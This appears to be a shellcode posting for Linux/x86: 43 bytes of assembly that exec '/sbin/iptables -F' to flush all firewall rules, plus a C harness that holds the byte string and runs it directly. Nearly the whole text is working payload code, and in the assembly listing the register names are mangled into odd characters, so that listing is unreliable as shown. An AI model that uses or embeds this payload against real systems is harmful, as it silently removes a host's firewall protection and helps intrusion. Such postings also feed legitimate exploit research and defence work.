Linux/x86 - iptables --flush Shellcode (43 bytes)

2009-01-01 19:05:14

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* Linux/x86 iptables --flush 43 bytes *
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* Author: Hamza Megahed *
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* Twitter: @Hamza_Mega *
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* blog: hamza-mega[dot]blogspot[dot]com *
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* E-mail: hamza[dot]megahed[at]gmail[dot]com *
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xor êx,êx
push êx
pushw $0x462d
movl %esp,%esi
pushl êx
pushl $0x73656c62
pushl $0x61747069
pushl $0x2f6e6962
pushl $0x732f2f2f
mov %esp,ëx
pushl êx
pushl %esi
pushl ëx
movl %esp,ìx
mov êx,íx
mov $0xb,%al
int $0x80

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#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6\x50\x68\x62\x6c\x65\x73"
"\x68\x69\x70\x74\x61\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f"
"\x73\x89\xe3\x50\x56\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";


int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

Fixes

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